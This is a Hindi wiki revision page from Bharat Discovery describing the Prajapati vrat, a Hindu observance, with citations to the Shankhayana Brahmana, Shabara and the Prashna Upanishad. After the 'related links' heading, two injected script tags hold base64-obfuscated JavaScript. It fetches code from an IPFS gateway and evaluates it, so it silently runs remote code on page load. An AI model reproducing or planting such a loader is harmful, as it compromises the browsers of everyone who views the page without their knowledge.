प्रजापति व्रत: Difference between revisions
भारत डिस्कवरी प्रस्तुति
Jump to navigation
Jump to search
[unchecked revision] | [unchecked revision] |
('*भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा ...' के साथ नया पन्ना बनाया) |
m (प्रजापतिव्रत का नाम बदलकर प्रजापति व्रत कर दिया गया है) |
(No difference)
|
Revision as of 12:50, 8 September 2010
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
- शांखायन ब्राह्मण [1] में आया है—'कर्ता को सूर्योदय एवं सूर्यास्त नहीं देखना चाहिए।'
- ये नियम शबर [2] द्वारा 'प्रजापति व्रत' कहे गये हैं और उन्होंने उद्घोषित किया है कि 'पुरुषार्थ' कहे गये हैं न कि 'कृत्वर्थ'।
- प्रश्नोपनिषद [3] में ऐसा आया है— 'दिवस प्राण है और रात्रि प्रजापति का भोजन है तथा जो लोग दिन मैथुन करते हैं वे प्राण पर आक्रमण करते हैं, और जो लोग रात्रि में सम्भोग करते हैं वे ब्रह्मचर्य पालन करते हैं; जो लोग प्रजापति व्रत करते हैं वे पुत्र एवं पुत्री उत्पन्न करते हैं।'
- प्रश्नोपरिषद् [4] में प्रजापति व्रत का अर्थ है 'रात्रि में सम्भोग'; यह अर्थ शबर के अर्थ से भिन्न है।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>